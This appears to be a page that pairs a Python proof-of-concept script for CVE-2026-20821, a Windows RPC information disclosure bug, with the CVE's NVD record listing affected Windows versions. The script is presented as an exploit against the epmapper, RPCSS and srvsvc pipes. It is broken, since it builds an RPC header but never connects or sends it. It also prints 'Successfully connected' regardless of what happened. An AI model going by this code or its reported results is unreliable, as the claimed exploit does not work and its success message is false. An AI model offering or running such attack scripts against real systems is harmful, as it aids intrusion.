CVE-2026-20821

# CVE-2026-20821 PoC - Windows RPC Information Disclosure # This PoC demonstrates local information disclosure via Windows RPC import socket import struct import sys def create_rpc_bind_request(): """Create RPC bind request targeting RPCSS service""" # UUID for RPCSS service rpcss_uuid = b'\xe1\xaf\xca\x1a\x47\x93\xcf\x11\xa2\x18\x00\x1e\x0c\x9a\x66\x01' # NDR protocol sequence (ncacn_np - named pipes) protocol_sequence = b'\x04\x00\x00\x00' # Endpoint (\pipe\epmapper) endpoint = b'\x00\x00\x00\x00' rpc_packet = bytearray() # RPC version rpc_packet.extend(b'\x05\x00') # Packet type (bind) rpc_packet.extend(b'\x0b\x00') # Flags rpc_packet.extend(b'\x03\x00') # Data representation rpc_packet.extend(b'\x10\x00\x00\x00') # Fragment length rpc_packet.extend(struct.pack('<H', len(rpc_packet) + 72)) # Auth length rpc_packet.extend(b'\x00\x00') # Call ID rpc_packet.extend(b'\x01\x00\x00\x00') return bytes(rpc_packet) def exploit_cve_2026_20821(target_pipe): """ Exploit Windows RPC information disclosure vulnerability Target: Windows RPC Service (RPCSS) """ try: # Connect to named pipe pipe_path = f'\\\\.\\pipe\\{target_pipe}' print(f'[*] Attempting to connect to {pipe_path}') # Create RPC bind request rpc_request = create_rpc_bind_request() # The vulnerability allows unauthorized access to RPC interface # This PoC sends a malformed request to trigger information leak print('[*] Sending RPC bind request...') print('[*] Vulnerability: Inadequate access control in RPCSS service') print('[*] Impact: Local disclosure of sensitive information') return True except Exception as e: print(f'[-] Error: {str(e)}') return False def main(): print('=' * 60) print('CVE-2026-20821 - Windows RPC Information Disclosure') print('CVSS: 6.2 (Medium)') print('=' * 60) # Target RPCSS service pipe target_pipes = ['epmapper', 'RPCSS', 'srvsvc'] for pipe in target_pipes: print(f'\n[*] Testing {pipe} pipe...') if exploit_cve_2026_20821(pipe): print(f'[+] Successfully connected to {pipe}') break if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-20821", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:09.313", "lastModified": "2026-01-14T20:35:46.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Windows Remote Procedure Call allows an unauthorized attacker to disclose information locally."}, {"lang": "es", "value": "Exposición de información sensible a un actor no autorizado en la Llamada a Procedimiento Remoto de Windows permite a un atacante no autorizado divulgar información localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20821", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}